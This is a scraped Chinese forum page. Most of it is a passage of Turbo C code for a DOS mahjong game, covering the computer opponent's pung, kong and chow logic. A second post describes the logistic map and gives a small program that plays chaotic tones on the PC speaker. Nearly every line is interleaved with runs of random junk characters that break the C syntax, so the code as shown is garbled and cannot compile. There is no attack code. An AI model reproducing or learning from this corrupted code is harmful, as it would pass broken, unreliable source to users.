x1=180;* w3 |/ m, P% c6 v% B) s
y1=165;. {4 D  s5 @' h+ l
fillRectangle(x1,y1,x1+20,y1+4,0);9 i$ ?1 {; x" ^, y- m; L
}& X2 q7 c' V) _8 T0 p
if(every==9)
( z$ `6 E8 a2 _4 `{
7 p8 _/ T$ ^1 E% _) V$ c7 o5 Px1=200;
* L* V8 x: o: f: C9 v- yy1=165;4 n" L6 M3 ]5 O# B. }9 a' G
fillRectangle(x1,y1,x1+20,y1+4,0);% S5 E" z8 H; k$ j$ J0 h
}
% w/ M: [. ~% n2 P% C8 w4 Gif(every==10)+ `  f! B7 Y4 X- X
{
$ |: O% h) [* Z5 m* w% \9 r: S3 |x1=220;2 \7 F8 c+ A+ T# G
y1=165;
. d# N1 b7 ]$ M9 e0 Q: D+ kfillRectangle(x1,y1,x1+20,y1+4,0);* Z9 e( d- P/ l: Z  q
}- c  |8 P  H% o* z0 ]
if(every==11)
. [$ U; @. v, f4 c: f2 N{
8 s( N6 E0 \- H+ J0 e+ b: _( ox1=240;  a/ u9 T; q& I, c. V# V7 s
y1=165;/ k- C1 \3 W0 R; e6 G" M
fillRectangle(x1,y1,x1+20,y1+4,0);
" S1 n6 r- ?4 s& Y7 k/ M, G& D}/ N$ H" t! Q; E* X# A1 r
if(every==12). L- R$ O! j" o% B9 B
{
: A1 o% b% F: ?9 q. g' Z: Xx1=260;* v. i3 d+ i; j" f, Y: `: l
y1=165;( p6 r2 ]9 q+ r/ d6 {
fillRectangle(x1,y1,x1+20,y1+4,0);
. g4 K, v6 [7 D  M' C}
- @+ Z6 d& {& G) P
7 V3 w1 y! C' t* l. Uzz=0;
& \3 M; V$ G2 B7 x  N1 n8 @- ], ievery++;2 o" A8 _* a+ X$ |3 b% i
z=z+20;
6 I7 ~% [8 ]7 R2 y" A( N7 J7 N}
$ w& K: }" ^: H) U' w/ o6 tshowbmp(every);3 O2 i: N) k3 k% f/ l& S4 A4 a
key=keyy;8 g, F5 @" ^- ]
if(keyy==ENTER)' h& |# k. f# p7 k. r4 b, [
{1 z1 o, _4 l& u% h3 s1 w) ?* @
rgzn(every); /*********************/
2 R% P( X$ }' fif(sing==1) /*如果可以乓,做相应的处理*/
( ~5 S" V, Y/ ~1 }; p. G$ O& |{   k5 t8 {) ~8 w( u4 U# {; e
kkk=0;
# E# P8 q" D+ ?1 Ckkkk=0;2 A6 P' Q7 p5 \' }6 k4 @2 V7 p
while(kkk&lt;=computer.m)$ E- c" z1 ^( N/ o6 Y) a
{
' X% w3 n  R* y4 D5 m/ v& J* k$ Hif(computer.pp[kkk].p!=1)
7 C) D6 \5 j! _7 s{
2 ^7 o0 p2 P  x' P' o/ ocomp.pp[kkkk].k=computer.pp[kkk].k;- M/ g; X1 N* m5 l+ @# {  V1 B
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;+ M& v( n- G8 I/ }* c* {- ^
comp.pp[kkkk].number=computer.pp[kkk].number;; x& B5 N/ s) a) I4 R6 d$ B$ h6 b
kkkk++;
# m! c8 L: f; `8 u% \' C}6 m" c7 w! `2 e9 s! h
else2 C5 l6 B: J$ O1 g  \
{3 h8 w+ C9 k( ^8 \7 H; |/ B$ ~% V5 L
m[computer.pp[kkk].number].data1=1;
) d, ^4 M# K' |0 U" F' R  R4 idwei=computer.pp[kkk].number;  x6 E% q9 T0 @5 r8 Y2 X
computer.pp[kkk].p=0;
2 z, Y6 E! h' r9 D- B) z; `. f. ?}. _' I4 ]/ d' i0 b8 i7 h9 i
kkk++;
  O; G# i) ~' ?4 }7 G: F) Q& j( m# W}4 m, r3 N: \9 ~$ g* a+ G& d
ll=0;- d, Y: ]; u. F1 ]
6 M- p! d# M5 d
while(ll&lt;3). G5 B0 _8 ], m9 o" t  u
{ zl=zl+20;! ~& E* a4 [2 k4 \+ q
bmpp(dwei); /*显示乓的牌*/- s2 Y: b! t! Y+ r+ n/ c5 s) n
ll++;; a* T% z  w# N0 h' _% F$ y
}  Z5 F6 n! p# R7 }5 l" \# H- A8 {. ^
' G; W+ x: z$ ?6 c5 C5 p" }
zl=zl+9600-60;
4 k! Z1 }8 |. C0 e# D& p3 |6 H  Jkkk=0;
* Q% T5 D2 o  C" kcomputer.m=computer.m-2;
5 K9 Y, j0 B* L: s  xwhile(kkk&lt;=computer.m). \6 ^% P# @- U- f- T
{& b" W8 n3 X' H# Z
computer.pp[kkk].k=comp.pp[kkk].k;( e: t; C9 _# |8 a! z3 T' R+ M1 v
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 ~5 N5 D0 z( V0 Z: v$ ^7 d' {  p! J# Ccomputer.pp[kkk].number=comp.pp[kkk].number;
7 o$ N5 _( ?# D! k3 C( vkkk++;2 o) g4 |6 [9 N# y
}
( X7 ^2 {6 C# Y4 all=0;9 `4 o; R" J8 K# j1 ]
temp=random(computer.m); /*出牌等待完善*/
& d3 J9 C8 K: C% l/ {4 F4 Nzyy=zyy+9280+20;
' `, f  Q  T+ w; }1 Ishowcbmp(temp);
( t# f8 e* j' ?9 L' U& wzyy=zyy-9280;
% h; A2 p9 p& s( T; S/*****/
% m' a2 T7 r2 |# j8 c8 |rgznme(temp); 1 t9 M' y8 @4 k' ?! S# I
panduan();4 y# e9 I5 J' |
if(me.m==0). S2 T, P' k8 C
if(second==1 &amp;&amp; threes==0)6 B. f! b; P0 X, O( O% e
printf("you win!");5 X* n7 |: a1 y& d1 r2 s6 u- z
if(me.m==3)
& o  A1 P' d# @if(second==1 &amp;&amp; threes==1)
# a7 Q8 r6 i' f0 Zprintf("you win!");( s! W( u8 |# f4 c  H
if(me.m==6)1 e7 r4 i: M- g5 v6 J9 p
if(second==1 &amp;&amp; threes==2)
7 H: O1 {" }: }1 p$ Y" M! wprintf("you win!");
5 w  w4 d9 S2 f8 S9 Y8 Lif(me.m==9)  T( {& ]  ]. D* `
if(second==1 &amp;&amp; threes==3)# ~9 r& ~6 {; T  |7 B; G* U' O
printf("you win!");- r. M, ?  }) q8 P4 B
if(me.m==12)8 @) C/ r8 A& f0 ~# |  i. Q
if(second==1 &amp;&amp; threes==4)
% A- ^. x: o& Y; z% tprintf("you win!");0 k3 v- U4 c( e$ t. S4 W* ~
# |% W7 c2 q6 l  j5 ?; z5 w
kkk=0;: m: s6 z0 t' h8 {" a2 m
kkkk=0;
6 E. q1 A9 t, `! L8 q0 ~% d( p" nwhile(kkk&lt;=computer.m)9 f" O' G; j8 s4 f7 ?; t+ |; N
{
) n6 q! ~2 m; T, }9 w7 \" H1 N& u# yif(kkk!=temp)( L2 G/ q( N) s9 c3 ^; p7 U
{. q9 |. p+ Q7 T) J. A) M7 L
comp.pp[kkkk].k=computer.pp[kkk].k;
- b# V' b2 H7 M6 a( Z4 J; |comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;4 P, ~7 S/ K' {: d, g" w* r
comp.pp[kkkk].number=computer.pp[kkk].number;" O; N7 k$ A. y% a( y5 k/ h
kkkk++;3 H+ c  W; |4 d% G
}( L/ c# r7 N7 z! s, J/ y
else3 [( `/ G0 o+ r5 j# ^& h
m[computer.pp[kkk].number].data1=1;3 ]$ _2 I: V0 c7 D3 Z
kkk++;
) i& a4 L- ?9 ~# @: n" j5 ]% S}7 H1 i$ Z4 `  |; N6 b0 y! s* L
kkk=0;  k$ E+ U  `  f' k" W1 J
computer.m=computer.m-1;( h9 O+ f. a# y8 F* c
while(kkk&lt;=computer.m)
0 ^+ g- S& i' |0 A8 e9 L{
: V* N$ ^8 i* ^2 Z2 _3 ccomputer.pp[kkk].k=comp.pp[kkk].k;
% r# h! g$ V& R6 b( W7 ecomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;5 p9 V- ]. ^9 i' X9 A
computer.pp[kkk].number=comp.pp[kkk].number;1 m) z9 F0 d2 d6 t
kkk++;- d& r  l, G& D+ p  J4 U  k+ P
}' q- A* R( @+ U& e: {
fillRectangle(0,0,320,30,0);7 {- d+ M" N$ E% h
n=computer.m;8 ^* l5 q3 _6 g- W
ll=0;
3 `' r! [- n& l; ]zy=0;
9 Y; g; {( S4 _+ v, |while(ll&lt;=n)& j3 f4 T7 C! @4 r  i2 L
{
. Z% k6 d6 k1 A8 h4 lzy=zy+20;+ R5 k# X/ M& ~; G
showybmp(ll);, T! ~( U2 k+ l
ll++;5 F* K$ Y! u2 S% H! ^
}. X# B* H4 N, V+ H3 I: `+ c, ^4 K
ll=0;! x' t( l: ]% V
getch();
8 S0 e7 ~0 f, w7 dsing=0;
  }( D+ O, e3 lsing1=1;! N4 n5 ?/ [4 D
}& q) o: \& A8 o6 a9 U
0 L: R! V1 n$ v. y0 P
if(sing==2) /*如果可以杠的做相应处理*/3 |8 `. q5 E. y% D, O" |1 f9 T
{' {- [( |- Q% ~3 m0 o3 R& P
kkk=0;
0 r1 H! r! n; C9 T& okkkk=0;" E! J5 N+ k7 ~9 w% `* Y9 `/ s# u5 Y
while(kkk&lt;=computer.m)
# D! _1 t! @1 A1 y  J/ Z$ v{7 V5 i* q. }* X$ S% e3 v% S
if(computer.pp[kkk].g!=1)- B  V' f* r) g* a7 j& k# V
{0 L: i  [1 z& w8 B$ A  ~3 h
comp.pp[kkkk].k=computer.pp[kkk].k;7 t8 M3 E0 r  t' C' O% p) A
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;6 I$ O$ l" T) X7 o' k* x2 \
comp.pp[kkkk].number=computer.pp[kkk].number;8 e  _% l$ |+ J1 B1 r8 A, S- S, t
kkkk++;6 ~; C) V. E8 G% V! x: J  k5 u' T
}, _9 B+ ?7 t4 |# H
else
: t/ K' k" F8 s& A{7 C& E+ |5 H4 V. ^- T: |" x# b3 l
m[computer.pp[kkk].number].data1=1;2 s$ G+ a0 ~; Z/ k4 i0 S. u
dweig=computer.pp[kkk].number;
( n" O4 i7 p  y) s& e4 X2 Vcomputer.pp[kkk].g=0;
: B  D9 X# T6 h/ y' b7 T3 M9 w}
& d9 D6 ^/ {/ K* [3 w! y0 A7 rkkk++;
& S% q+ v, y  q}  e7 T5 j4 F  n% k4 o" d
ll=0;: G7 b* g) W2 _8 b8 ]
9 `" Q- O, a% J$ |$ [
while(ll&lt;=3)
& ^' _! p- i8 }& i; ?4 [{ zl=zl+20;9 H, q  ?. W" y4 l; T5 u
bmpp(dweig); /*显示杠的牌*/
, P( ^. G6 o" s% Sll++;! D' L: x" R) p4 g
}
9 u) W. X3 r8 }zl=zl+9600-60;
/ E. g$ h- J2 L1 u# gkkk=0;
, q2 u1 X8 F- x# Acomputer.m=computer.m-3;: X! x. Q% p( |
while(kkk&lt;=computer.m)7 v$ n3 ]2 Q; Y9 _9 {
{
/ O# E7 w7 O; I: jcomputer.pp[kkk].k=comp.pp[kkk].k;# ~. o2 r. B; i7 m5 R
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;% M2 {3 k% ^+ V! F* i4 K5 {3 N
computer.pp[kkk].number=comp.pp[kkk].number;
  r2 h. Z: J6 p- H8 T) Q$ U' K# Xkkk++;$ B  w6 z1 i# K. |
}( P' l, a; t% |& G) Z8 S9 h
kk=0;8 F# `% i1 |" Q  L% i
computer.m++; /*加一个牌的容量*/5 Y5 ^" Z. G! {
while(kk!=1)( d7 N1 ~9 c$ i% [
{3 ~3 U7 g% o6 l' J' h
temp=random(136); /*出牌*/
- A% t% O6 E& C6 J3 G. uif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)/ ?+ n( Y' U6 N4 p7 X7 q
{
  F& F. W% \7 ]# s2 [+ u% _6 b' ecomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/5 M  v  r* g  q' m
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
2 e5 f9 _9 i6 b/ w% ^, Dcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/0 o0 U& t& ~7 ^" b
m[temp].data2=2; /*判断牌是谁的,2为电脑*/# ~! D, E* G) C) G4 C5 P
kk=1;
3 T! W7 F8 A- t1 b0 p}9 t0 x6 g0 w( o2 ]4 i& x( n
}9 e# K4 Y+ G3 a) |
comlipai();
/ c( r8 G/ b9 w3 N( c$ }temp=random(computer.m); /*出牌,等待完善*/
0 m& C. }4 ]. ]; `! u4 C" Pzyy=zyy+9280+20;
, D8 t* d# X  mshowcbmp(temp);9 c8 J" U* A; T2 @" R: D
zyy=zyy-9280;
% Z" b- K" u* }" r' G/*****/* j, c# D/ {& _7 Y6 {; r4 p4 t
rgznme(temp);
' g% s- {- ~4 Q+ Bpanduan();
" Y; l4 ^6 L1 O, u/ M  kif(me.m==0)% b" L  v3 E( ]+ ]6 R; W+ x
if(second==1 &amp;&amp; threes==0)
1 ~" j8 p  \# pprintf("you win!");
, e! p5 C: S! `& n. Vif(me.m==3)
$ `; V& N8 l+ J# j! v* t4 Yif(second==1 &amp;&amp; threes==1)' g3 k, q# f/ h' ^, t
printf("you win!");( X# q+ Z* o4 j( T: ^
if(me.m==6)1 @/ i% i* [2 d% t
if(second==1 &amp;&amp; threes==2). w+ X1 M  c; P
printf("you win!");
9 }+ ?9 q' e% r/ N' V! `4 G' dif(me.m==9)
9 N' [8 q" a+ h) c2 F* ~* K8 rif(second==1 &amp;&amp; threes==3)
9 @# j) U# F4 J, M4 |0 v6 iprintf("you win!");
! ]' @9 G5 S2 Q5 u# b) J* S, q" ~if(me.m==12)1 k- d( W" |! I3 s! _
if(second==1 &amp;&amp; threes==4)8 M0 O6 T- d* m* J3 A+ v1 R6 N* Z4 q
printf("you win!");
" A, Z+ X1 R" c9 b6 X1 `3 Z" i# H) V" w$ c" z9 R
kkk=0;6 i" v/ p$ S/ u
kkkk=0;
' x4 d  ~! F2 i! ywhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
) X% a3 X* Y* M5 a$ o/ p{
  q; ~0 H# {& K  f. M& bif(kkk!=temp)
- ^& Y, k7 q9 B% _+ b% j{
0 ^$ T# j- z8 ucomp.pp[kkkk].k=computer.pp[kkk].k;
) ^2 t( s; E- J  J- Q2 X( F2 @/ Ncomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;4 Y: b8 p# H& m5 [' k8 n. g
comp.pp[kkkk].number=computer.pp[kkk].number;7 W. p/ G. d1 V0 _. L+ d; T( B; n2 W
kkkk++;0 n" _3 H* X5 G& m0 L
}8 e& I: L9 p$ j- j+ p
else/ A. a/ x! b/ |2 X6 C
m[computer.pp[kkk].number].data1=1;$ m  M; k6 |; Q0 p+ F# p( b
kkk++;0 X; n' m, V5 E3 p
}
  G# X+ `) _- Ukkk=0;* M* N8 K# Q0 a' L) r0 I
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*// _+ e8 ?) V8 _6 Q) H
while(kkk&lt;=computer.m)
6 y5 I& B$ R  X: v9 K, d* [0 j) q{2 O; z# U- X7 L7 ?* ?7 B% C( `
computer.pp[kkk].k=comp.pp[kkk].k;% B8 d# K; c! r& {; k
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 `3 I- \. _0 Y2 `9 j! `computer.pp[kkk].number=comp.pp[kkk].number;3 D4 `! C  o, b4 m
kkk++;3 Q4 |4 D( O/ c# k# j
}# _, Q5 B5 r; |6 Y( n
fillRectangle(0,0,320,30,0);, A( S" @% _* X5 t( n
ll=0;
, P  @. B5 y5 q' a1 Ezy=0;
, K7 R+ g& ^' O. Rwhile(ll&lt;=computer.m)* b1 R$ _! }! {1 T) X  w
{
" W2 [1 ~" Y$ B' Azy=zy+20;2 c8 C. v% \& `/ R) W
showybmp(ll);1 U8 }! Q5 c3 q4 k
ll++;
9 ?( f1 T" c: l5 h}+ }2 }  S% o7 ]9 K- A6 ~
sing=0;$ N/ g$ U( }+ Y1 G
sing1=1;3 Q2 s+ Q& {  T& j9 s. E
}
/ _& U" T2 ?$ ~4 {8 f: oif(sing==7) /*如果可以吃的,做相应处理*/  o8 R+ r  S: a+ _1 m
{ nn=0;
3 r# l/ S8 e, I& T) f: ?7 s4 rkkk=0;
/ x, s% Z( [1 [4 N! M9 B' Z- Ekkkk=0;: `% ]6 S+ v4 U3 i: r" R% @
while(kkk&lt;=computer.m)
% q- v' k5 Y0 H5 x' ?; p{
* U# Q# W  A. o' Pif(computer.pp[kkk].c!=1)& m0 V5 J9 l, K# h/ J
{
7 ]4 ]9 {, ?1 k7 u6 u/ Zcomp.pp[kkkk].k=computer.pp[kkk].k;- `9 A5 o1 b/ i  m2 l
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, [; H' @; a2 |
comp.pp[kkkk].number=computer.pp[kkk].number;5 z2 l2 y2 i3 v2 L' D4 B
kkkk++;: K* o+ M# A! h7 o! H- s1 h
}4 G0 a4 x" a. F% |% A3 O- P1 @: W! y
else# a/ }& B. R, l! g8 S# Y7 W
{
7 w7 U$ r* m! qm[computer.pp[kkk].number].data1=1;
6 x3 ~% I$ C2 g8 Y! M' U, Edw[nn++]=computer.pp[kkk].number;
# s9 Q2 V5 Q7 E. f1 ^computer.pp[kkk].c=0;
3 r' R3 c* D! q- n}
6 u: Z3 D: m, R) g4 t, j  bkkk++;' ^1 [4 E% W: K7 m7 n9 ]
}
+ H  ~; E1 |  m" E6 E: a
: Q( `2 M; ^* f" q' xif(me.pp[every].number&lt;dw[0]); Z- V% v' r2 X9 x+ m( U1 ]
{2 }& Z6 i& \+ B
dw[2]=dw[1];3 K( ~1 m5 I3 D$ N& I7 G
dw[1]=dw[0];( U% Z  Y( o! }0 N1 n. K& m7 e
dw[0]=me.pp[every].number;
8 u3 a( n) h) B$ J}
: G/ E! o* `) Q' ?1 p: _* ~3 nif(me.pp[every].number&gt;dw[1])
* a4 G6 E  R3 \, w{
8 \5 i  u( }/ Z# o0 Adw[2]=me.pp[every].number;
3 J6 v6 z  D: v: i& ]. k}, E& K: R/ ?+ r, _1 t3 U
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])/ [. p  W5 N" f) c9 Q
{
, K& d4 a2 a/ h5 b! d" H$ udw[2]=dw[1];! L$ H( U1 \: }, ^& E) g/ m5 b& x
dw[1]=me.pp[every].number;
' X% F8 A+ K5 H: p+ C! h# o}
9 |8 [0 m6 S3 ?0 g4 h7 e5 Enn=0;3 c9 D, C( G* j$ D- i
while(nn&lt;3)
* G7 f; @" K3 A, t{ zl=zl+20;/ f+ \0 N2 J- ]8 j& x) l
bmpp(dw[nn]); /*显示吃的牌*/) g( U& ^# f1 v) m9 ~
nn++;" k4 C! m5 l. t/ _( M6 x
}
( O$ B5 m+ S4 }7 L$ g; j1 i0 @zl=zl+9600-60;
" d8 B2 N+ Z% Y* E$ ^' e8 Nkkk=0;. G: A; W1 {4 g2 D. A  ~! D. o
computer.m=computer.m-2;
1 k$ B5 k5 i5 a3 I7 ~3 u5 a4 Iwhile(kkk&lt;=computer.m)2 u3 u, |5 I- H& K# W% C
{
5 v, Y$ t  f$ ~1 o" lcomputer.pp[kkk].k=comp.pp[kkk].k;/ ]4 E. Z; U8 u& E& ^
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
& j) {6 j) B2 j; `4 ^. Ecomputer.pp[kkk].number=comp.pp[kkk].number;
# G1 T0 h2 w% {9 Lkkk++;
, M" \' X( j) k. B- {9 |* s) X}
  t  Y4 E; r, C1 X7 a+ x( `ll=0;7 `3 I/ B7 e! M& R
temp=random(computer.m); /*出牌等待完善*/. W7 Y% u/ `0 F! U& Q$ C
zyy=zyy+9280+20;# o( F; [0 M6 v% }, c; \; e. T
showcbmp(temp);( r; p1 r+ \$ ?. n$ a; E% {+ Z
zyy=zyy-9280;
2 Y; w$ y1 i' Y5 [/*****/; k" o" L2 e0 N& [5 Y& J. ~8 s
rgznme(temp);  m) v  v' n2 i( w. A
panduan();
. n4 ]. {; o- s4 Bif(me.m==0)3 ?$ W: G- ^6 W/ @3 n0 R2 @
if(second==1 &amp;&amp; threes==0)7 d4 P. X# x- K
printf("you win!");
5 o3 i+ w  J  @" {if(me.m==3)' K  y  N3 ?3 [+ ]
if(second==1 &amp;&amp; threes==1)
% E# V4 Z5 X5 iprintf("you win!");
: W: e& y8 M9 ^$ u: M2 T! P0 z6 Dif(me.m==6)4 Z7 f5 O* e, u: }
if(second==1 &amp;&amp; threes==2)5 a. O  D! `2 K4 G# y
printf("you win!");
9 X$ Q' x: \9 D. U4 [if(me.m==9)
1 X! b7 |+ N& q$ X8 z1 Vif(second==1 &amp;&amp; threes==3). L$ i, h0 ]4 @5 K9 b( }
printf("you win!");
( l( x; _. `. J& e) I* [. \8 j/ Lif(me.m==12)
  H! }  Y0 L! `" T! U+ c( I! L, D; pif(second==1 &amp;&amp; threes==4); ]& i' U' j) @$ ]( M' d+ B" c0 Q
printf("you win!");7 E$ e  F7 X" S1 G

2 D; p) O2 x4 r7 ~- ikkk=0;# v* ]% l, N. p3 ~# S
kkkk=0;
4 e& G, l/ Q* rwhile(kkk&lt;=computer.m)
& _+ ?0 U) @# \/ Q2 t{8 V% `  z3 U  b
if(kkk!=temp)
8 x! K* |  l# n0 L{1 r) @* }, U/ g  Q& a1 J, ^) i
comp.pp[kkkk].k=computer.pp[kkk].k;
* @& i$ q% M9 lcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
3 }6 H( C  j5 y# G9 [& G- |" N- _comp.pp[kkkk].number=computer.pp[kkk].number;
3 d- T" G6 v0 r( _  kkkkk++;
  E6 H4 M2 y4 G}
( k& W- B1 U" s8 s/ H% c. ^else; y* F1 t2 m3 t$ Q$ V* s; l2 w" \
m[computer.pp[kkk].number].data1=1;
2 O8 K6 M; `, ckkk++;
5 I0 ^2 k1 I0 O$ u3 v, Y/ A+ q9 d! J}$ R1 w. k  @, a6 M' o  g# g
kkk=0;
- d5 W8 e' c! h, Pcomputer.m=computer.m-1;) M: Y( p' Y0 L0 N" q$ d
while(kkk&lt;=computer.m)
* U  ?4 e8 Q2 t( x+ d4 Z{  b1 m) p, T6 f: ~; L7 P% y
computer.pp[kkk].k=comp.pp[kkk].k;
. o; C/ ?. A1 Bcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;6 E: Q3 N( z% V0 R  E7 a
computer.pp[kkk].number=comp.pp[kkk].number;  Z, y  P; F$ w. v; d5 Z; n
kkk++;
# B1 k- w8 p2 l0 [6 u9 E8 H, \}
5 T( J2 b& T* I8 B, zfillRectangle(0,0,320,30,0);- s) [) B% a! l* E) a9 t
n=computer.m;
3 P$ {: ^9 t' D3 Fll=0;8 \! m9 ~' d5 l6 [6 l$ S9 W0 j
zy=0;. X% ^* X8 j; J! o- ?
while(ll&lt;=n)
0 r+ U" b# o4 ^8 S$ k  g# ~5 w( Z" h{& f. e& r8 y% o$ b. t. E) P
zy=zy+20;2 P! j# `# d  b
showybmp(ll);
( [+ D# U5 z' Q+ z" H; P0 ill++;# Y) U" |0 y( N
}# w* e$ f9 A9 f/ v% A9 P

$ O! R8 p1 \, s' ]  Q' i  agetch();$ x6 w+ Z) O% d& {+ P
sing=0;7 t7 q* v0 I. V
sing1=1;0 L  U7 `- \$ a, G1 @) M8 c
}
: n% N2 J+ ]& J  {4 J  @9 W/ K$ E8 Aif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
; T* b7 X* s# j5 o: Y5 e{
  V+ }+ K& |" Lkk=0;( l7 t5 y3 s. o* M
h=me.pp[every].number;2 c6 |, F" Y1 r+ [. }4 @6 u) w$ D
m[h].data1=1; /*此牌已经无用*/
. [( i4 o! [2 S8 L, W3 T1 c- Aif(sing1!=1)7 J1 D9 Y1 R9 i: P- u+ Z
{- d: o+ B& R/ [3 c7 @- z
zyy=zyy+9280+20;
' C4 |; U: f# e2 L: f$ s- R5 y- R# fshowbmpd(every);" ?  T. q" J, B4 l" L2 u& H
zyy=zyy-9280;
$ P9 O9 s  t2 b5 V# X: U}
6 a6 _% h* `0 `9 W$ E, D+ A( Vwhile(kk!=1): q4 d; j. ^; x( T& a1 y% v/ H
{3 r; g9 U$ p& l8 N1 f
temp=random(136);
7 P4 q# b; V3 g  cif(m[temp].data2==0 &amp;&amp; m[temp].data1==0): Y/ h% ?) H" c* R- @( M0 I
{
6 C- |- S$ M8 f6 P3 ~' g0 B5 R8 nme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/1 i7 I/ ^3 F: D2 C# y
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
7 B8 u/ i7 Z. H0 ^$ `4 zme.pp[every].number=temp; /*第几张,用来排序*/1 X+ H2 H! P$ Y" z( i
m[temp].data2=1; /*判断牌是谁的*/6 B! r3 R# x  M" d" `0 }: s
kk=1;3 [6 I0 k- U1 X/ V4 y; m7 B
}3 e% g! k( A6 _- }: K' {
if(kk==0) /*判断如果又选择了,就从新再选*/( m. }7 O" f0 a  H) K
kk=0;
+ S5 [  L3 x& H% H}
% H( x# a2 {+ {5 l" w}1 H7 I2 ?: f) m5 a0 |8 Q5 ]5 {4 R
sing=0;
! O& B- {: |$ L$ c6 l5 Using1=0;
2 _" f# {! g1 u& |! C9 Z2 o5 vmelipai();" Y$ D3 C) {/ \7 Q. e# A3 _* L0 O" H
n=13;
# I% k" p  |5 c9 Sz1=54400;% y3 W6 R( ]) q6 ~9 e* |
l=0;
3 Z4 H$ u6 ^( j. M# O$ l/ \" @g=z;
( Y5 M! F% m. X$ B# _% u6 rwhile(l&lt;n)
( ^6 Y# Q& C9 M" Z& @{ z=0;
( f! ]# L' F) X# Ez1=z1+20;
" {' H6 R: s# h, M& P; A+ bshowbmp(l);. @  K3 ?0 U8 A
l++;8 e' ]' G1 `9 R4 M+ v: b& m1 y
}9 G; u$ ]3 f  \9 D, Q. |2 A/ C
z1=0;1 }( j2 z7 r- k/ Q: ~9 h
z=g;
# ]) k4 q; Q) C: N}2 C0 N& O6 u/ t$ }3 j5 B
keyy=0;: ~6 n  X* I% m: u! U6 r
}2 N. \$ M; F$ E1 c4 E/ |

% O1 A3 G5 e4 }7 @getch();
+ i# N0 ^1 V" y8 e9 x3 aOUTVGA;
4 L6 B, k$ k! P( p, |}
1 n$ x: h* N; `7 `$ m</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
2 j/ ]' F! ]% r! M3 {</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
# f3 z$ i3 l& l" @
5 U6 w" \. n3 _7 t9 d  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
# x2 r8 H. s  ^& f* y- P0 S  <FONT color=#009900>#include <DOS.H>
; [9 U7 H- p# k- Q5 D: e  #include <STDIO.H>
5 D7 B9 }( r5 r* T! n  main(){& y+ ^- y, @4 l# b! n5 \
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/- E. ]7 z1 {; J5 ~
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
6 S: D) A6 `$ Q; F  /*i,j用于循环记数*/
* |8 Y5 o$ S, w0 ?; e5 h* b  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/# B( c  R( V, M
  fDis=fMax-fMin;
. N1 o0 q% \8 x. y; J% U5 i. Q  for(j=1;;j++){; L* O% k6 g$ Q
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/' T, Y2 {, a; v3 L. G' b
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
4 @) S5 n( k$ q* g  scanf("%f",&k);3 a6 U/ v" T% C: o2 s" @
  if (k==0) break;* T! D" w: }1 y5 @4 s; ?
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
& ?+ i( V  [0 _+ f" \8 p6 }  x=k*x*(1-x);
, b+ t* [7 h& f  q: t: H4 E0 [+ `  for (i=1;i&lt;100;i++){6 r' P2 Q; _5 B: P" Y
  x=k*x*(1-x); /*计算x的值*/  O+ n! u2 V1 B7 X- m+ Z
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
# p% x- d/ _  L' J  delay(1000); }2 W4 ^0 }9 |( S- Y' p
  nosound(); }}/ b8 _" e3 B- s' {& B6 e' ^
